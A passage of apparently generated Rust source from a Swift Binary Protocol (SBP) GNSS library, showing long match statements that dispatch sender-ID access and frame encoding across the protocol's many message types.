msg.get_sender_id(), SBP::MsgSettingsWriteResp(msg) => msg.get_sender_id(), SBP::MsgBootloaderHandshakeDepA(msg) => msg.get_sender_id(), SBP::MsgBootloaderJumpToApp(msg) => msg.get_sender_id(), SBP::MsgResetDep(msg) => msg.get_sender_id(), SBP::MsgBootloaderHandshakeReq(msg) => msg.get_sender_id(), SBP::MsgBootloaderHandshakeResp(msg) => msg.get_sender_id(), SBP::MsgDeviceMonitor(msg) => msg.get_sender_id(), SBP::MsgReset(msg) => msg.get_sender_id(), SBP::MsgCommandReq(msg) => msg.get_sender_id(), SBP::MsgCommandResp(msg) => msg.get_sender_id(), SBP::MsgNetworkStateReq(msg) => msg.get_sender_id(), SBP::MsgNetworkStateResp(msg) => msg.get_sender_id(), SBP::MsgCommandOutput(msg) => msg.get_sender_id(), SBP::MsgNetworkBandwidthUsage(msg) => msg.get_sender_id(), SBP::MsgCellModemStatus(msg) => msg.get_sender_id(), SBP::MsgFrontEndGain(msg) => msg.get_sender_id(), SBP::MsgCwResults(msg) => msg.get_sender_id(), SBP::MsgCwStart(msg) => msg.get_sender_id(), SBP::MsgNapDeviceDnaResp(msg) => msg.get_sender_id(), SBP::MsgNapDeviceDnaReq(msg) => msg.get_sender_id(), SBP::MsgFlashDone(msg) => msg.get_sender_id(), SBP::MsgFlashReadResp(msg) => msg.get_sender_id(), SBP::MsgFlashErase(msg) => msg.get_sender_id(), SBP::MsgStmFlashLockSector(msg) => msg.get_sender_id(), SBP::MsgStmFlashUnlockSector(msg) => msg.get_sender_id(), SBP::MsgStmUniqueIdResp(msg) => msg.get_sender_id(), SBP::MsgFlashProgram(msg) => msg.get_sender_id(), SBP::MsgFlashReadReq(msg) => msg.get_sender_id(), SBP::MsgStmUniqueIdReq(msg) => msg.get_sender_id(), SBP::MsgM25FlashWriteStatus(msg) => msg.get_sender_id(), SBP::MsgGPSTimeDepA(msg) => msg.get_sender_id(), SBP::MsgExtEvent(msg) => msg.get_sender_id(), SBP::MsgGPSTime(msg) => msg.get_sender_id(), SBP::MsgUtcTime(msg) => msg.get_sender_id(), SBP::MsgGPSTimeGnss(msg) => msg.get_sender_id(), SBP::MsgUtcTimeGnss(msg) => msg.get_sender_id(), SBP::MsgSettingsRegisterResp(msg) => msg.get_sender_id(), SBP::MsgPosECEFDepA(msg) => msg.get_sender_id(), SBP::MsgPosLLHDepA(msg) => msg.get_sender_id(), SBP::MsgBaselineECEFDepA(msg) => msg.get_sender_id(), SBP::MsgBaselineNEDDepA(msg) => msg.get_sender_id(), SBP::MsgVelECEFDepA(msg) => msg.get_sender_id(), SBP::MsgVelNEDDepA(msg) => msg.get_sender_id(), SBP::MsgDopsDepA(msg) => msg.get_sender_id(), SBP::MsgBaselineHeadingDepA(msg) => msg.get_sender_id(), SBP::MsgDops(msg) => msg.get_sender_id(), SBP::MsgPosECEF(msg) => msg.get_sender_id(), SBP::MsgPosLLH(msg) => msg.get_sender_id(), SBP::MsgBaselineECEF(msg) => msg.get_sender_id(), SBP::MsgBaselineNED(msg) => msg.get_sender_id(), SBP::MsgVelECEF(msg) => msg.get_sender_id(), SBP::MsgVelNED(msg) => msg.get_sender_id(), SBP::MsgBaselineHeading(msg) => msg.get_sender_id(), SBP::MsgAgeCorrections(msg) => msg.get_sender_id(), SBP::MsgPosLLHCov(msg) => msg.get_sender_id(), SBP::MsgVelNEDCov(msg) => msg.get_sender_id(), SBP::MsgVelBody(msg) => msg.get_sender_id(), SBP::MsgPosECEFCov(msg) => msg.get_sender_id(), SBP::MsgVelECEFCov(msg) => msg.get_sender_id(), SBP::MsgProtectionLevelDepA(msg) => msg.get_sender_id(), SBP::MsgProtectionLevel(msg) => msg.get_sender_id(), SBP::MsgPosLLHAcc(msg) => msg.get_sender_id(), SBP::MsgOrientQuat(msg) => msg.get_sender_id(), SBP::MsgOrientEuler(msg) => msg.get_sender_id(), SBP::MsgAngularRate(msg) => msg.get_sender_id(), SBP::MsgPosECEFGnss(msg) => msg.get_sender_id(), SBP::MsgPosLLHGnss(msg) => msg.get_sender_id(), SBP::MsgVelECEFGnss(msg) => msg.get_sender_id(), SBP::MsgVelNEDGnss(msg) => msg.get_sender_id(), SBP::MsgPosLLHCovGnss(msg) => msg.get_sender_id(), SBP::MsgVelNEDCovGnss(msg) => msg.get_sender_id(), SBP::MsgPosECEFCovGnss(msg) => msg.get_sender_id(), SBP::MsgVelECEFCovGnss(msg) => msg.get_sender_id(), SBP::MsgNdbEvent(msg) => msg.get_sender_id(), SBP::MsgLog(msg) => msg.get_sender_id(), SBP::MsgFwd(msg) => msg.get_sender_id(), SBP::MsgSsrOrbitClockDepA(msg) => msg.get_sender_id(), SBP::MsgSsrOrbitClock(msg) => msg.get_sender_id(), SBP::MsgSsrCodeBiases(msg) => msg.get_sender_id(), SBP::MsgSsrPhaseBiases(msg) => msg.get_sender_id(), SBP::MsgSsrStecCorrectionDepA(msg) => msg.get_sender_id(), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.get_sender_id(), SBP::MsgSsrGridDefinitionDepA(msg) => msg.get_sender_id(), SBP::MsgSsrTileDefinition(msg) => msg.get_sender_id(), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.get_sender_id(), SBP::MsgSsrStecCorrection(msg) => msg.get_sender_id(), SBP::MsgSsrGriddedCorrection(msg) => msg.get_sender_id(), SBP::MsgSsrSatelliteApc(msg) => msg.get_sender_id(), SBP::MsgOsr(msg) => msg.get_sender_id(), SBP::MsgUserData(msg) => msg.get_sender_id(), SBP::MsgImuRaw(msg) => msg.get_sender_id(), SBP::MsgImuAux(msg) => msg.get_sender_id(), SBP::MsgMagRaw(msg) => msg.get_sender_id(), SBP::MsgOdometry(msg) => msg.get_sender_id(), SBP::MsgWheeltick(msg) => msg.get_sender_id(), SBP::MsgFileioConfigReq(msg) => msg.get_sender_id(), SBP::MsgFileioConfigResp(msg) => msg.get_sender_id(), SBP::MsgSbasRaw(msg) => msg.get_sender_id(), SBP::MsgLinuxCpuStateDepA(msg) => msg.get_sender_id(), SBP::MsgLinuxMemStateDepA(msg) => msg.get_sender_id(), SBP::MsgLinuxSysStateDepA(msg) => msg.get_sender_id(), SBP::MsgLinuxProcessSocketCounts(msg) => msg.get_sender_id(), SBP::MsgLinuxProcessSocketQueues(msg) => msg.get_sender_id(), SBP::MsgLinuxSocketUsage(msg) => msg.get_sender_id(), SBP::MsgLinuxProcessFdCount(msg) => msg.get_sender_id(), SBP::MsgLinuxProcessFdSummary(msg) => msg.get_sender_id(), SBP::MsgLinuxCpuState(msg) => msg.get_sender_id(), SBP::MsgLinuxMemState(msg) => msg.get_sender_id(), SBP::MsgLinuxSysState(msg) => msg.get_sender_id(), SBP::MsgStartup(msg) => msg.get_sender_id(), SBP::MsgDgnssStatus(msg) => msg.get_sender_id(), SBP::MsgInsStatus(msg) => msg.get_sender_id(), SBP::MsgCsacTelemetry(msg) => msg.get_sender_id(), SBP::MsgCsacTelemetryLabels(msg) => msg.get_sender_id(), SBP::MsgInsUpdates(msg) => msg.get_sender_id(), SBP::MsgGnssTimeOffset(msg) => msg.get_sender_id(), SBP::MsgPpsTime(msg) => msg.get_sender_id(), SBP::MsgGroupMeta(msg) => msg.get_sender_id(), SBP::MsgSolnMeta(msg) => msg.get_sender_id(), SBP::MsgSolnMetaDepA(msg) => msg.get_sender_id(), SBP::MsgStatusReport(msg) => msg.get_sender_id(), SBP::MsgHeartbeat(msg) => msg.get_sender_id(), SBP::Unknown(msg) => msg.get_sender_id(), } } fn set_sender_id(&mut self, new_id: u16) { match self { SBP::MsgPrintDep(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingStateDetailedDep(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingStateDepB(msg) => msg.set_sender_id(new_id), SBP::MsgAcqResultDepB(msg) => msg.set_sender_id(new_id), SBP::MsgAcqResultDepA(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingStateDepA(msg) => msg.set_sender_id(new_id), SBP::MsgThreadState(msg) => msg.set_sender_id(new_id), SBP::MsgUartStateDepa(msg) => msg.set_sender_id(new_id), SBP::MsgIarState(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisDepA(msg) => msg.set_sender_id(new_id), SBP::MsgMaskSatelliteDep(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingIqDepA(msg) => msg.set_sender_id(new_id), SBP::MsgUartState(msg) => msg.set_sender_id(new_id), SBP::MsgAcqSvProfileDep(msg) => msg.set_sender_id(new_id), SBP::MsgAcqResultDepC(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingStateDetailedDepA(msg) => msg.set_sender_id(new_id), SBP::MsgResetFilters(msg) => msg.set_sender_id(new_id), SBP::MsgInitBaseDep(msg) => msg.set_sender_id(new_id), SBP::MsgMaskSatellite(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingIqDepB(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingIq(msg) => msg.set_sender_id(new_id), SBP::MsgAcqSvProfile(msg) => msg.set_sender_id(new_id), SBP::MsgAcqResult(msg) => msg.set_sender_id(new_id), SBP::MsgTrackingState(msg) => msg.set_sender_id(new_id), SBP::MsgObsDepB(msg) => msg.set_sender_id(new_id), SBP::MsgBasePosLLH(msg) => msg.set_sender_id(new_id), SBP::MsgObsDepA(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisDepB(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisDepC(msg) => msg.set_sender_id(new_id), SBP::MsgBasePosECEF(msg) => msg.set_sender_id(new_id), SBP::MsgObsDepC(msg) => msg.set_sender_id(new_id), SBP::MsgObs(msg) => msg.set_sender_id(new_id), SBP::MsgSpecanDep(msg) => msg.set_sender_id(new_id), SBP::MsgSpecan(msg) => msg.set_sender_id(new_id), SBP::MsgMeasurementState(msg) => msg.set_sender_id(new_id), SBP::MsgSetTime(msg) => msg.set_sender_id(new_id), SBP::MsgAlmanac(msg) => msg.set_sender_id(new_id), SBP::MsgAlmanacGPSDep(msg) => msg.set_sender_id(new_id), SBP::MsgAlmanacGloDep(msg) => msg.set_sender_id(new_id), SBP::MsgAlmanacGPS(msg) => msg.set_sender_id(new_id), SBP::MsgAlmanacGlo(msg) => msg.set_sender_id(new_id), SBP::MsgGloBiases(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisDepD(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGPSDepE(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisSbasDepA(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGloDepA(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisSbasDepB(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGloDepB(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGPSDepF(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGloDepC(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGloDepD(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisBds(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGPS(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGlo(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisSbas(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGal(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisQzss(msg) => msg.set_sender_id(new_id), SBP::MsgIono(msg) => msg.set_sender_id(new_id), SBP::MsgSvConfigurationGPSDep(msg) => msg.set_sender_id(new_id), SBP::MsgGroupDelayDepA(msg) => msg.set_sender_id(new_id), SBP::MsgGroupDelayDepB(msg) => msg.set_sender_id(new_id), SBP::MsgGroupDelay(msg) => msg.set_sender_id(new_id), SBP::MsgEphemerisGalDepA(msg) => msg.set_sender_id(new_id), SBP::MsgGnssCapb(msg) => msg.set_sender_id(new_id), SBP::MsgSvAzEl(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsWrite(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsSave(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsReadByIndexReq(msg) => msg.set_sender_id(new_id), SBP::MsgFileioReadResp(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsReadReq(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsReadResp(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsReadByIndexDone(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsReadByIndexResp(msg) => msg.set_sender_id(new_id), SBP::MsgFileioReadReq(msg) => msg.set_sender_id(new_id), SBP::MsgFileioReadDirReq(msg) => msg.set_sender_id(new_id), SBP::MsgFileioReadDirResp(msg) => msg.set_sender_id(new_id), SBP::MsgFileioWriteResp(msg) => msg.set_sender_id(new_id), SBP::MsgFileioRemove(msg) => msg.set_sender_id(new_id), SBP::MsgFileioWriteReq(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsRegister(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsWriteResp(msg) => msg.set_sender_id(new_id), SBP::MsgBootloaderHandshakeDepA(msg) => msg.set_sender_id(new_id), SBP::MsgBootloaderJumpToApp(msg) => msg.set_sender_id(new_id), SBP::MsgResetDep(msg) => msg.set_sender_id(new_id), SBP::MsgBootloaderHandshakeReq(msg) => msg.set_sender_id(new_id), SBP::MsgBootloaderHandshakeResp(msg) => msg.set_sender_id(new_id), SBP::MsgDeviceMonitor(msg) => msg.set_sender_id(new_id), SBP::MsgReset(msg) => msg.set_sender_id(new_id), SBP::MsgCommandReq(msg) => msg.set_sender_id(new_id), SBP::MsgCommandResp(msg) => msg.set_sender_id(new_id), SBP::MsgNetworkStateReq(msg) => msg.set_sender_id(new_id), SBP::MsgNetworkStateResp(msg) => msg.set_sender_id(new_id), SBP::MsgCommandOutput(msg) => msg.set_sender_id(new_id), SBP::MsgNetworkBandwidthUsage(msg) => msg.set_sender_id(new_id), SBP::MsgCellModemStatus(msg) => msg.set_sender_id(new_id), SBP::MsgFrontEndGain(msg) => msg.set_sender_id(new_id), SBP::MsgCwResults(msg) => msg.set_sender_id(new_id), SBP::MsgCwStart(msg) => msg.set_sender_id(new_id), SBP::MsgNapDeviceDnaResp(msg) => msg.set_sender_id(new_id), SBP::MsgNapDeviceDnaReq(msg) => msg.set_sender_id(new_id), SBP::MsgFlashDone(msg) => msg.set_sender_id(new_id), SBP::MsgFlashReadResp(msg) => msg.set_sender_id(new_id), SBP::MsgFlashErase(msg) => msg.set_sender_id(new_id), SBP::MsgStmFlashLockSector(msg) => msg.set_sender_id(new_id), SBP::MsgStmFlashUnlockSector(msg) => msg.set_sender_id(new_id), SBP::MsgStmUniqueIdResp(msg) => msg.set_sender_id(new_id), SBP::MsgFlashProgram(msg) => msg.set_sender_id(new_id), SBP::MsgFlashReadReq(msg) => msg.set_sender_id(new_id), SBP::MsgStmUniqueIdReq(msg) => msg.set_sender_id(new_id), SBP::MsgM25FlashWriteStatus(msg) => msg.set_sender_id(new_id), SBP::MsgGPSTimeDepA(msg) => msg.set_sender_id(new_id), SBP::MsgExtEvent(msg) => msg.set_sender_id(new_id), SBP::MsgGPSTime(msg) => msg.set_sender_id(new_id), SBP::MsgUtcTime(msg) => msg.set_sender_id(new_id), SBP::MsgGPSTimeGnss(msg) => msg.set_sender_id(new_id), SBP::MsgUtcTimeGnss(msg) => msg.set_sender_id(new_id), SBP::MsgSettingsRegisterResp(msg) => msg.set_sender_id(new_id), SBP::MsgPosECEFDepA(msg) => msg.set_sender_id(new_id), SBP::MsgPosLLHDepA(msg) => msg.set_sender_id(new_id), SBP::MsgBaselineECEFDepA(msg) => msg.set_sender_id(new_id), SBP::MsgBaselineNEDDepA(msg) => msg.set_sender_id(new_id), SBP::MsgVelECEFDepA(msg) => msg.set_sender_id(new_id), SBP::MsgVelNEDDepA(msg) => msg.set_sender_id(new_id), SBP::MsgDopsDepA(msg) => msg.set_sender_id(new_id), SBP::MsgBaselineHeadingDepA(msg) => msg.set_sender_id(new_id), SBP::MsgDops(msg) => msg.set_sender_id(new_id), SBP::MsgPosECEF(msg) => msg.set_sender_id(new_id), SBP::MsgPosLLH(msg) => msg.set_sender_id(new_id), SBP::MsgBaselineECEF(msg) => msg.set_sender_id(new_id), SBP::MsgBaselineNED(msg) => msg.set_sender_id(new_id), SBP::MsgVelECEF(msg) => msg.set_sender_id(new_id), SBP::MsgVelNED(msg) => msg.set_sender_id(new_id), SBP::MsgBaselineHeading(msg) => msg.set_sender_id(new_id), SBP::MsgAgeCorrections(msg) => msg.set_sender_id(new_id), SBP::MsgPosLLHCov(msg) => msg.set_sender_id(new_id), SBP::MsgVelNEDCov(msg) => msg.set_sender_id(new_id), SBP::MsgVelBody(msg) => msg.set_sender_id(new_id), SBP::MsgPosECEFCov(msg) => msg.set_sender_id(new_id), SBP::MsgVelECEFCov(msg) => msg.set_sender_id(new_id), SBP::MsgProtectionLevelDepA(msg) => msg.set_sender_id(new_id), SBP::MsgProtectionLevel(msg) => msg.set_sender_id(new_id), SBP::MsgPosLLHAcc(msg) => msg.set_sender_id(new_id), SBP::MsgOrientQuat(msg) => msg.set_sender_id(new_id), SBP::MsgOrientEuler(msg) => msg.set_sender_id(new_id), SBP::MsgAngularRate(msg) => msg.set_sender_id(new_id), SBP::MsgPosECEFGnss(msg) => msg.set_sender_id(new_id), SBP::MsgPosLLHGnss(msg) => msg.set_sender_id(new_id), SBP::MsgVelECEFGnss(msg) => msg.set_sender_id(new_id), SBP::MsgVelNEDGnss(msg) => msg.set_sender_id(new_id), SBP::MsgPosLLHCovGnss(msg) => msg.set_sender_id(new_id), SBP::MsgVelNEDCovGnss(msg) => msg.set_sender_id(new_id), SBP::MsgPosECEFCovGnss(msg) => msg.set_sender_id(new_id), SBP::MsgVelECEFCovGnss(msg) => msg.set_sender_id(new_id), SBP::MsgNdbEvent(msg) => msg.set_sender_id(new_id), SBP::MsgLog(msg) => msg.set_sender_id(new_id), SBP::MsgFwd(msg) => msg.set_sender_id(new_id), SBP::MsgSsrOrbitClockDepA(msg) => msg.set_sender_id(new_id), SBP::MsgSsrOrbitClock(msg) => msg.set_sender_id(new_id), SBP::MsgSsrCodeBiases(msg) => msg.set_sender_id(new_id), SBP::MsgSsrPhaseBiases(msg) => msg.set_sender_id(new_id), SBP::MsgSsrStecCorrectionDepA(msg) => msg.set_sender_id(new_id), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.set_sender_id(new_id), SBP::MsgSsrGridDefinitionDepA(msg) => msg.set_sender_id(new_id), SBP::MsgSsrTileDefinition(msg) => msg.set_sender_id(new_id), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.set_sender_id(new_id), SBP::MsgSsrStecCorrection(msg) => msg.set_sender_id(new_id), SBP::MsgSsrGriddedCorrection(msg) => msg.set_sender_id(new_id), SBP::MsgSsrSatelliteApc(msg) => msg.set_sender_id(new_id), SBP::MsgOsr(msg) => msg.set_sender_id(new_id), SBP::MsgUserData(msg) => msg.set_sender_id(new_id), SBP::MsgImuRaw(msg) => msg.set_sender_id(new_id), SBP::MsgImuAux(msg) => msg.set_sender_id(new_id), SBP::MsgMagRaw(msg) => msg.set_sender_id(new_id), SBP::MsgOdometry(msg) => msg.set_sender_id(new_id), SBP::MsgWheeltick(msg) => msg.set_sender_id(new_id), SBP::MsgFileioConfigReq(msg) => msg.set_sender_id(new_id), SBP::MsgFileioConfigResp(msg) => msg.set_sender_id(new_id), SBP::MsgSbasRaw(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxCpuStateDepA(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxMemStateDepA(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxSysStateDepA(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxProcessSocketCounts(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxProcessSocketQueues(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxSocketUsage(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxProcessFdCount(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxProcessFdSummary(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxCpuState(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxMemState(msg) => msg.set_sender_id(new_id), SBP::MsgLinuxSysState(msg) => msg.set_sender_id(new_id), SBP::MsgStartup(msg) => msg.set_sender_id(new_id), SBP::MsgDgnssStatus(msg) => msg.set_sender_id(new_id), SBP::MsgInsStatus(msg) => msg.set_sender_id(new_id), SBP::MsgCsacTelemetry(msg) => msg.set_sender_id(new_id), SBP::MsgCsacTelemetryLabels(msg) => msg.set_sender_id(new_id), SBP::MsgInsUpdates(msg) => msg.set_sender_id(new_id), SBP::MsgGnssTimeOffset(msg) => msg.set_sender_id(new_id), SBP::MsgPpsTime(msg) => msg.set_sender_id(new_id), SBP::MsgGroupMeta(msg) => msg.set_sender_id(new_id), SBP::MsgSolnMeta(msg) => msg.set_sender_id(new_id), SBP::MsgSolnMetaDepA(msg) => msg.set_sender_id(new_id), SBP::MsgStatusReport(msg) => msg.set_sender_id(new_id), SBP::MsgHeartbeat(msg) => msg.set_sender_id(new_id), SBP::Unknown(msg) => msg.set_sender_id(new_id), } } fn to_frame(&self) -> Result<Vec<u8>, crate::FramerError> { match self { SBP::MsgPrintDep(msg) => msg.to_frame(), SBP::MsgTrackingStateDetailedDep(msg) => msg.to_frame(), SBP::MsgTrackingStateDepB(msg) => msg.to_frame(), SBP::MsgAcqResultDepB(msg) => msg.to_frame(), SBP::MsgAcqResultDepA(msg) => msg.to_frame(), SBP::MsgTrackingStateDepA(msg) => msg.to_frame(), SBP::MsgThreadState(msg) => msg.to_frame(), SBP::MsgUartStateDepa(msg) => msg.to_frame(), SBP::MsgIarState(msg) => msg.to_frame(), SBP::MsgEphemerisDepA(msg) => msg.to_frame(), SBP::MsgMaskSatelliteDep(msg) => msg.to_frame(), SBP::MsgTrackingIqDepA(msg) => msg.to_frame(), SBP::MsgUartState(msg) => msg.to_frame(), SBP::MsgAcqSvProfileDep(msg) => msg.to_frame(), SBP::MsgAcqResultDepC(msg) => msg.to_frame(), SBP::MsgTrackingStateDetailedDepA(msg) => msg.to_frame(), SBP::MsgResetFilters(msg) => msg.to_frame(), SBP::MsgInitBaseDep(msg) => msg.to_frame(), SBP::MsgMaskSatellite(msg) => msg.to_frame(), SBP::MsgTrackingIqDepB(msg) => msg.to_frame(), SBP::MsgTrackingIq(msg) => msg.to_frame(), SBP::MsgAcqSvProfile(msg) => msg.to_frame(), SBP::MsgAcqResult(msg) => msg.to_frame(), SBP::MsgTrackingState(msg) => msg.to_frame(), SBP::MsgObsDepB(msg) => msg.to_frame(), SBP::MsgBasePosLLH(msg) => msg.to_frame(), SBP::MsgObsDepA(msg) => msg.to_frame(), SBP::MsgEphemerisDepB(msg) => msg.to_frame(), SBP::MsgEphemerisDepC(msg) => msg.to_frame(), SBP::MsgBasePosECEF(msg) => msg.to_frame(), SBP::MsgObsDepC(msg) => msg.to_frame(), SBP::MsgObs(msg) => msg.to_frame(), SBP::MsgSpecanDep(msg) => msg.to_frame(), SBP::MsgSpecan(msg) => msg.to_frame(), SBP::MsgMeasurementState(msg) => msg.to_frame(), SBP::MsgSetTime(msg) => msg.to_frame(), SBP::MsgAlmanac(msg) => msg.to_frame(), SBP::MsgAlmanacGPSDep(msg) => msg.to_frame(), SBP::MsgAlmanacGloDep(msg) => msg.to_frame(), SBP::MsgAlmanacGPS(msg) => msg.to_frame(), SBP::MsgAlmanacGlo(msg) => msg.to_frame(), SBP::MsgGloBiases(msg) => msg.to_frame(), SBP::MsgEphemerisDepD(msg) => msg.to_frame(), SBP::MsgEphemerisGPSDepE(msg) => msg.to_frame(), SBP::MsgEphemerisSbasDepA(msg) => msg.to_frame(), SBP::MsgEphemerisGloDepA(msg) => msg.to_frame(), SBP::MsgEphemerisSbasDepB(msg) => msg.to_frame(), SBP::MsgEphemerisGloDepB(msg) => msg.to_frame(), SBP::MsgEphemerisGPSDepF(msg) => msg.to_frame(), SBP::MsgEphemerisGloDepC(msg) => msg.to_frame(), SBP::MsgEphemerisGloDepD(msg) => msg.to_frame(), SBP::MsgEphemerisBds(msg) => msg.to_frame(), SBP::MsgEphemerisGPS(msg) => msg.to_frame(), SBP::MsgEphemerisGlo(msg) => msg.to_frame(), SBP::MsgEphemerisSbas(msg) => msg.to_frame(), SBP::MsgEphemerisGal(msg) => msg.to_frame(), SBP::MsgEphemerisQzss(msg) => msg.to_frame(), SBP::MsgIono(msg) => msg.to_frame(), SBP::MsgSvConfigurationGPSDep(msg) => msg.to_frame(), SBP::MsgGroupDelayDepA(msg) => msg.to_frame(), SBP::MsgGroupDelayDepB(msg) => msg.to_frame(), SBP::MsgGroupDelay(msg) => msg.to_frame(), SBP::MsgEphemerisGalDepA(msg) => msg.to_frame(), SBP::MsgGnssCapb(msg) => msg.to_frame(), SBP::MsgSvAzEl(msg) => msg.to_frame(), SBP::MsgSettingsWrite(msg) => msg.to_frame(), SBP::MsgSettingsSave(msg) => msg.to_frame(), SBP::MsgSettingsReadByIndexReq(msg) => msg.to_frame(), SBP::MsgFileioReadResp(msg) => msg.to_frame(), SBP::MsgSettingsReadReq(msg) => msg.to_frame(), SBP::MsgSettingsReadResp(msg) => msg.to_frame(), SBP::MsgSettingsReadByIndexDone(msg) => msg.to_frame(), SBP::MsgSettingsReadByIndexResp(msg) => msg.to_frame(), SBP::MsgFileioReadReq(msg) => msg.to_frame(), SBP::MsgFileioReadDirReq(msg) => msg.to_frame(), SBP::MsgFileioReadDirResp(msg) => msg.to_frame(), SBP::MsgFileioWriteResp(msg) => msg.to_frame(), SBP::MsgFileioRemove(msg) => msg.to_frame(), SBP::MsgFileioWriteReq(msg) => msg.to_frame(), SBP::MsgSettingsRegister(msg) => msg.to_frame(), SBP::MsgSettingsWriteResp(msg) => msg.to_frame(), SBP::MsgBootloaderHandshakeDepA(msg) => msg.to_frame(), SBP::MsgBootloaderJumpToApp(msg) => msg.to_frame(), SBP::MsgResetDep(msg) => msg.to_frame(), SBP::MsgBootloaderHandshakeReq(msg) => msg.to_frame(), SBP::MsgBootloaderHandshakeResp(msg) => msg.to_frame(), SBP::MsgDeviceMonitor(msg) => msg.to_frame(), SBP::MsgReset(msg) => msg.to_frame(), SBP::MsgCommandReq(msg) => msg.to_frame(), SBP::MsgCommandResp(msg) => msg.to_frame(), SBP::MsgNetworkStateReq(msg) => msg.to_frame(), SBP::MsgNetworkStateResp(msg) => msg.to_frame(), SBP::MsgCommandOutput(msg) => msg.to_frame(), SBP::MsgNetworkBandwidthUsage(msg) => msg.to_frame(), SBP::MsgCellModemStatus(msg) => msg.to_frame(), SBP::MsgFrontEndGain(msg) => msg.to_frame(), SBP::MsgCwResults(msg) => msg.to_frame(), SBP::MsgCwStart(msg) => msg.to_frame(), SBP::MsgNapDeviceDnaResp(msg) => msg.to_frame(), SBP::MsgNapDeviceDnaReq(msg) => msg.to_frame(), SBP::MsgFlashDone(msg) => msg.to_frame(), SBP::MsgFlashReadResp(msg) => msg.to_frame(), SBP::MsgFlashErase(msg) => msg.to_frame(), SBP::MsgStmFlashLockSector(msg) => msg.to_frame(), SBP::MsgStmFlashUnlockSector(msg) => msg.to_frame(), SBP::MsgStmUniqueIdResp(msg) => msg.to_frame(), SBP::MsgFlashProgram(msg) => msg.to_frame(), SBP::MsgFlashReadReq(msg) => msg.to_frame(), SBP::MsgStmUniqueIdReq(msg) => msg.to_frame(), SBP::MsgM25FlashWriteStatus(msg) => msg.to_frame(), SBP::MsgGPSTimeDepA(msg) => msg.to_frame(), SBP::MsgExtEvent(msg) => msg.to_frame(), SBP::MsgGPSTime(msg) => msg.to_frame(), SBP::MsgUtcTime(msg) => msg.to_frame(), SBP::MsgGPSTimeGnss(msg) => msg.to_frame(), SBP::MsgUtcTimeGnss(msg) => msg.to_frame(), SBP::MsgSettingsRegisterResp(msg) => msg.to_frame(), SBP::MsgPosECEFDepA(msg) => msg.to_frame(), SBP::MsgPosLLHDepA(msg) => msg.to_frame(), SBP::MsgBaselineECEFDepA(msg) => msg.to_frame(), SBP::MsgBaselineNEDDepA(msg) => msg.to_frame(), SBP::MsgVelECEFDepA(msg) => msg.to_frame(), SBP::MsgVelNEDDepA(msg) => msg.to_frame(), SBP::MsgDopsDepA(msg) => msg.to_frame(), SBP::MsgBaselineHeadingDepA(msg) => msg.to_frame(), SBP::MsgDops(msg) => msg.to_frame(), SBP::MsgPosECEF(msg) => msg.to_frame(), SBP::MsgPosLLH(msg) => msg.to_frame(), SBP::MsgBaselineECEF(msg) => msg.to_frame(), SBP::MsgBaselineNED(msg) => msg.to_frame(), SBP::MsgVelECEF(msg) => msg.to_frame(), SBP::MsgVelNED(msg) => msg.to_frame(), SBP::MsgBaselineHeading(msg) => msg.to_frame(), SBP::MsgAgeCorrections(msg) => msg.to_frame(), SBP::MsgPosLLHCov(msg) => msg.to_frame(), SBP::MsgVelNEDCov(msg) => msg.to_frame(), SBP::MsgVelBody(msg) => msg.to_frame(), SBP::MsgPosECEFCov(msg) => msg.to_frame(), SBP::MsgVelECEFCov(msg) => msg.to_frame(), SBP::MsgProtectionLevelDepA(msg) => msg.to_frame(), SBP::MsgProtectionLevel(msg) => msg.to_frame(), SBP::MsgPosLLHAcc(msg) => msg.to_frame(), SBP::MsgOrientQuat(msg) => msg.to_frame(), SBP::MsgOrientEuler(msg) => msg.to_frame(), SBP::MsgAngularRate(msg) => msg.to_frame(), SBP::MsgPosECEFGnss(msg) => msg.to_frame(), SBP::MsgPosLLHGnss(msg) => msg.to_frame(), SBP::MsgVelECEFGnss(msg) => msg.to_frame(), SBP::MsgVelNEDGnss(msg) => msg.to_frame(), SBP::MsgPosLLHCovGnss(msg) => 